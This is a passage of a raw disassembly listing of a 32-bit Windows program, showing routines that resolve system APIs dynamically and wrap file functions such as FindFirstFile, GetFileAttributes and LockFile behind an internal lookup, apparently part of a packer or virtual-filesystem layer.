[ebp+var_2C] mov ds:dword_511950, eax push offset dword_50E5B4 push 2Fh push offset off_511250 call sub_509F43 add esp, 0Ch push offset dword_50E5C4 push 2 push offset off_5113C8 call sub_509F43 add esp, 0Ch push offset dword_50E5D0 push 1 push offset off_5113D8 call sub_509F43 add esp, 0Ch push offset dword_50E5DC push 3 push offset off_5113E0 call sub_509F43 add esp, 0Ch push offset dword_50E5F8 push 2 push offset off_5113F8 call sub_509F43 add esp, 0Ch push offset dword_50E5B4 call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_4], eax leave retn sub_509DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509F43 proc near ; CODE XREF: sub_509DD4+107p ; sub_509DD4+11Bp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h and [ebp+var_4], 0 push [ebp+arg_8] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_509F6B push [ebp+arg_8] call ds:dword_51175C ; LoadLibraryA mov [ebp+var_10], eax loc_509F6B: ; CODE XREF: sub_509F43+1Aj cmp [ebp+var_10], 0 jnz short loc_509F87 push ds:off_50E4F8 push 0DDh push ds:off_50E4FC call sub_50848C loc_509F87: ; CODE XREF: sub_509F43+2Cj push 1 push [ebp+var_10] mov ecx, ds:dword_5160D8 call sub_50B98E mov eax, [ebp+var_10] and eax, 0FFFh test eax, eax jz short loc_509FBF mov eax, [ebp+var_10] and ax, 0F000h mov [ebp+var_8], eax push 1 push [ebp+var_8] mov ecx, ds:dword_5160D8 call sub_50B98E jmp short loc_509FC5 ; --------------------------------------------------------------------------- loc_509FBF: ; CODE XREF: sub_509F43+5Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax loc_509FC5: ; CODE XREF: sub_509F43+7Aj mov eax, [ebp+var_8] mov ecx, [ebp+var_8] add ecx, [eax+3Ch] mov [ebp+var_C], ecx mov eax, [ebp+var_C] cmp dword ptr [eax], 4550h jnz short loc_509FE8 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] add ecx, [eax+78h] mov [ebp+var_4], ecx loc_509FE8: ; CODE XREF: sub_509F43+97j and [ebp+var_14], 0 jmp short loc_509FF5 ; --------------------------------------------------------------------------- loc_509FEE: ; CODE XREF: sub_509F43:loc_50A082j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_509FF5: ; CODE XREF: sub_509F43+A9j mov eax, [ebp+var_14] cmp eax, [ebp+arg_4] jnb loc_50A087 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_10] call ds:dword_511728 ; GetProcAddress mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_50A035 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_18] mov ecx, ds:dword_5160D4 call sub_50B98E loc_50A035: ; CODE XREF: sub_509F43+D8j cmp [ebp+var_4], 0 jz short loc_50A082 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_4] push [ebp+var_8] call sub_509C8E add esp, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_18] cmp eax, [ebp+var_1C] jz short loc_50A082 cmp [ebp+var_1C], 0 jz short loc_50A082 cmp [ebp+var_18], 0 jz short loc_50A082 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_1C] mov ecx, ds:dword_5160D4 call sub_50B98E loc_50A082: ; CODE XREF: sub_509F43+F6j ; sub_509F43+119j ... jmp loc_509FEE ; --------------------------------------------------------------------------- loc_50A087: ; CODE XREF: sub_509F43+B8j cmp [ebp+arg_8], offset dword_50E5B4 jnz short locret_50A0BA cmp [ebp+var_4], 0 jz short locret_50A0BA push offset aWritefile ; "WriteFile" push [ebp+var_4] push [ebp+var_8] call sub_509C8E add esp, 0Ch mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short locret_50A0BA mov eax, [ebp+var_20] mov ds:dword_5117BC, eax locret_50A0BA: ; CODE XREF: sub_509F43+14Bj ; sub_509F43+151j ... leave retn sub_509F43 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A0BC proc near ; CODE XREF: _5:004FD715p push ebp mov ebp, esp push 0 call sub_50A0C8 pop ebp retn sub_50A0BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A0C8 proc near ; CODE XREF: sub_401300+DFp ; sub_401404+7Ap ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA00 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp push offset dword_5160B8 call ds:dword_5116C4 ; RtlEnterCriticalSection mov ds:byte_5160D0, 1 push 0 call sub_509C54 and [ebp+var_4], 0 call sub_5071C3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A138 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 1 or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A134 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_50A134: ; CODE XREF: sub_50A0C8+5Fj or [ebp+var_4], 0FFFFFFFFh loc_50A138: ; CODE XREF: sub_50A0C8+4Bj mov [ebp+var_4], 2 call sub_5046D0 or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A16D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A169 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_50A169: ; CODE XREF: sub_50A0C8+94j or [ebp+var_4], 0FFFFFFFFh loc_50A16D: ; CODE XREF: sub_50A0C8+80j mov [ebp+var_4], 4 push [ebp+arg_0] call ds:dword_5116C8 ; ExitProcess or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A1B6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 5 or [ebp+var_4], 0FFFFFFFFh jmp short loc_50A1A2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_50A1A2: ; CODE XREF: sub_50A0C8+CDj push [ebp+arg_0] call ds:dword_5116E4 ; GetCurrentProcess push eax call ds:dword_511798 ; TerminateProcess or [ebp+var_4], 0FFFFFFFFh loc_50A1B6: ; CODE XREF: sub_50A0C8+B9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_50A0C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A1C7 proc near ; CODE XREF: sub_418D6A+22p ; sub_41A8ED+26p ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push offset dword_50E5B4 push offset aSearchpatha_0 ; "SearchPathA" call sub_509C22 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_50A20D push 0 xor edx, edx mov ecx, [ebp+arg_4] call sub_5019D2 test eax, eax jz short loc_50A20D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_511708 ; GetFullPathNameA jmp short locret_50A222 ; --------------------------------------------------------------------------- loc_50A20D: ; CODE XREF: sub_50A1C7+20j ; sub_50A1C7+30j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_4] locret_50A222: ; CODE XREF: sub_50A1C7+44j leave retn 18h sub_50A1C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A226 proc near ; DATA XREF: _7:00511360o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA48 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_50A296 push 104h call sub_50835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_4] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte loc_50A296: ; CODE XREF: sub_50A226+35j cmp [ebp+arg_0], 0 jnz short loc_50A2D3 push 0 xor edx, edx mov ecx, [ebp+var_20] call sub_5019D2 test eax, eax jz short loc_50A2D3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_51170C ; GetFullPathNameW push 0FFFFFFFFh mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_50A323 ; --------------------------------------------------------------------------- loc_50A2D3: ; CODE XREF: sub_50A226+74j ; sub_50A226+84j push offset dword_50E5B4 push offset aSearchpathw ; "SearchPathW" call sub_509C22 pop ecx pop ecx mov [ebp+var_1C], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_50A323 ; --------------------------------------------------------------------------- loc_50A311: ; DATA XREF: _6:0050EA50o mov eax, [ebp+var_20] mov [ebp+var_28], eax push [ebp+var_28] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_50A323: ; CODE XREF: sub_50A226+ABj ; sub_50A226+E9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_50A226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A334 proc near ; CODE XREF: sub_410287+1FBp ; sub_41771E+3Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4FF63E test eax, eax jnz short loc_50A35A push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116D0 ; FindFirstFileA mov [ebp+var_4], eax loc_50A35A: ; CODE XREF: sub_50A334+15j mov eax, [ebp+var_4] leave retn 8 sub_50A334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A361 proc near ; DATA XREF: _7:00511300o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0050A496 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA58 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_4FF63E test eax, eax jnz short loc_50A416 and [ebp+var_164], 0 push offset dword_50E5B4 push offset aFindfirstfilew ; "FindFirstFileW" call sub_509C22 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_50A475 ; --------------------------------------------------------------------------- loc_50A416: ; CODE XREF: sub_50A361+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar loc_50A475: ; CODE XREF: sub_50A361+B3j or [ebp+var_4], 0FFFFFFFFh call sub_50A480 jmp short loc_50A496 sub_50A361 endp ; =============== S U B R O U T I N E ======================================= sub_50A480 proc near ; CODE XREF: sub_50A361+118p ; DATA XREF: _6:0050EA60o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_5083DD pop ecx retn sub_50A480 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50A361 loc_50A496: ; CODE XREF: sub_50A361+11Dj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_50A361 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A4AA proc near ; DATA XREF: _7:00511308o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0050A5EB SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA68 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_4FF63E test eax, eax jnz short loc_50A56B and [ebp+var_164], 0 push offset dword_50E5B4 push offset aFindfirstfilee ; "FindFirstFileExW" call sub_509C22 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_50A5CA ; --------------------------------------------------------------------------- loc_50A56B: ; CODE XREF: sub_50A4AA+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_8] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_8] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar loc_50A5CA: ; CODE XREF: sub_50A4AA+BFj or [ebp+var_4], 0FFFFFFFFh call sub_50A5D5 jmp short loc_50A5EB sub_50A4AA endp ; =============== S U B R O U T I N E ======================================= sub_50A5D5 proc near ; CODE XREF: sub_50A4AA+124p ; DATA XREF: _6:0050EA70o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_5083DD pop ecx retn sub_50A5D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50A4AA loc_50A5EB: ; CODE XREF: sub_50A4AA+129j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_50A4AA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A5FF proc near ; CODE XREF: sub_410287+5EDp ; sub_41771E+C0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4FF818 test eax, eax jnz short loc_50A61F push [ebp+arg_0] call ds:dword_5116CC ; FindClose mov [ebp+var_4], eax loc_50A61F: ; CODE XREF: sub_50A5FF+12j mov eax, [ebp+var_4] leave retn 4 sub_50A5FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A626 proc near ; CODE XREF: sub_410287+20Cp ; sub_410287+5DCp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4FF6DE test eax, eax jnz short loc_50A650 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116D4 ; FindNextFileA mov [ebp+var_4], eax loc_50A650: ; CODE XREF: sub_50A626+19j mov eax, [ebp+var_4] leave retn 8 sub_50A626 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A657 proc near ; DATA XREF: _7:00511320o var_148 = dword ptr -148h var_144 = byte ptr -144h var_118 = byte ptr -118h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 148h push esi push edi lea eax, [ebp+var_4] push eax lea eax, [ebp+var_144] push eax push [ebp+arg_0] call sub_4FF6DE test eax, eax jnz short loc_50A6A8 and [ebp+var_148], 0 push offset dword_50E5B4 push offset aFindnextfilew ; "FindNextFileW" call sub_509C22 pop ecx pop ecx mov [ebp+var_148], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_148] mov [ebp+var_4], eax jmp short loc_50A707 ; --------------------------------------------------------------------------- loc_50A6A8: ; CODE XREF: sub_50A657+20j lea ecx, [ebp+var_118] lea eax, [ebp+var_144] sub ecx, eax lea esi, [ebp+var_144] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_118] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar loc_50A707: ; CODE XREF: sub_50A657+4Fj mov eax, [ebp+var_4] pop edi pop esi leave retn 8 sub_50A657 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A710 proc near ; DATA XREF: _7:00511390o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_500858 test eax, eax jnz short loc_50A73A push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116FC ; GetFileInformationByHandle mov [ebp+var_4], eax loc_50A73A: ; CODE XREF: sub_50A710+19j mov eax, [ebp+var_4] leave retn 8 sub_50A710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A741 proc near ; DATA XREF: _7:00511398o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_500950 test eax, eax jnz short loc_50A76F push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511768 ; LockFile mov [ebp+var_4], eax jmp short loc_50A776 ; --------------------------------------------------------------------------- loc_50A76F: ; CODE XREF: sub_50A741+12j mov [ebp+var_4], 1 loc_50A776: ; CODE XREF: sub_50A741+2Cj mov eax, [ebp+var_4] leave retn 14h sub_50A741 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A77D proc near ; DATA XREF: _7:005113A0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_500950 test eax, eax jnz short loc_50A7A8 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_51179C ; UnlockFile jmp short locret_50A7AB ; --------------------------------------------------------------------------- loc_50A7A8: ; CODE XREF: sub_50A77D+12j push 1 pop eax locret_50A7AB: ; CODE XREF: sub_50A77D+29j leave retn 14h sub_50A77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A7AF proc near ; CODE XREF: sub_401404+19Bp ; sub_40FFD8+10Fp ... var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_501CA8 test eax, eax jnz short loc_50A7CD push [ebp+arg_0] call ds:dword_5116F4 ; GetFileAttributesA jmp short locret_50A7D9 ; --------------------------------------------------------------------------- loc_50A7CD: ; CODE XREF: sub_50A7AF+11j movzx eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0Fh inc eax locret_50A7D9: ; CODE XREF: sub_50A7AF+1Cj leave retn 4 sub_50A7AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A7DD proc near ; DATA XREF: _7:00511270o var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0050A896 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA78 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_50A85E lea edx, [ebp+var_28] mov ecx, [ebp+var_20] call sub_501CA8 test eax, eax jnz short loc_50A86C loc_50A85E: ; CODE XREF: sub_50A7DD+70j push [ebp+arg_0] call ds:dword_5116F8 ; GetFileAttributesW mov [ebp+var_1C], eax jmp short loc_50A87B ; --------------------------------------------------------------------------- loc_50A86C: ; CODE XREF: sub_50A7DD+7Fj movzx eax, [ebp+var_28] neg eax sbb eax, eax and eax, 0Fh inc eax mov [ebp+var_1C], eax loc_50A87B: ; CODE XREF: sub_50A7DD+8Dj or [ebp+var_4], 0FFFFFFFFh call sub_50A886 jmp short loc_50A896 sub_50A7DD endp ; =============== S U B R O U T I N E ======================================= sub_50A886 proc near ; CODE XREF: sub_50A7DD+A2p ; DATA XREF: _6:0050EA80o mov eax, [ebp-20h] mov [ebp-30h], eax push dword ptr [ebp-30h] call sub_5083DD pop ecx retn sub_50A886 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50A7DD loc_50A896: ; CODE XREF: sub_50A7DD+A7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_50A7DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A8AA proc near ; DATA XREF: _7:00511278o var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0050A9D8 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EA88 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_50835A pop ecx mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_5117B8 ; WideCharToMultiByte mov [ebp+var_28], eax lea edx, [ebp+var_24] mov ecx, [ebp+var_20] call sub_501CA8 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_50A995 mov [ebp+var_1C], 1 movzx eax, [ebp+var_24] neg eax sbb eax, eax and eax, 0Fh inc eax mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+4], ecx mov [edx+8], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+0Ch], ecx mov [edx+10h], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+14h], ecx mov [edx+18h], eax mov eax, [ebp+arg_8] and dword ptr [eax+1Ch], 0 mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+arg_8] mov eax, [eax+8] mov [ecx+20h], eax jmp short loc_50A9BD ; --------------------------------------------------------------------------- loc_50A995: ; CODE XREF: sub_50A8AA+7Bj push offset aKernel32_0 ; "kernel32" push offset aGetfileattri_1 ; "GetFileAttributesExW" call sub_509C22 pop ecx pop ecx mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short loc_50A9BD push [ebp+arg_8] push 0 push [ebp+arg_0] call [ebp+var_30] mov [ebp+var_1C], eax loc_50A9BD: ; CODE XREF: sub_50A8AA+E9j ; sub_50A8AA+103j or [ebp+var_4], 0FFFFFFFFh call sub_50A9C8 jmp short loc_50A9D8 sub_50A8AA endp ; =============== S U B R O U T I N E ======================================= sub_50A9C8 proc near ; CODE XREF: sub_50A8AA+117p ; DATA XREF: _6:0050EA90o mov eax, [ebp-20h] mov [ebp-38h], eax push dword ptr [ebp-38h] call sub_5083DD pop ecx retn sub_50A9C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50A8AA loc_50A9D8: ; CODE XREF: sub_50A8AA+11Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_50A8AA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50A9EC proc near ; CODE XREF: sub_40FFD8+1EDp ; sub_410908+38p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_500672 test eax, eax jnz short loc_50AA11 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511700 ; GetFileSize mov [ebp+var_4], eax jmp short loc_50AA1D ; --------------------------------------------------------------------------- loc_50AA11: ; CODE XREF: sub_50A9EC+12j cmp [ebp+arg_4], 0 jz short 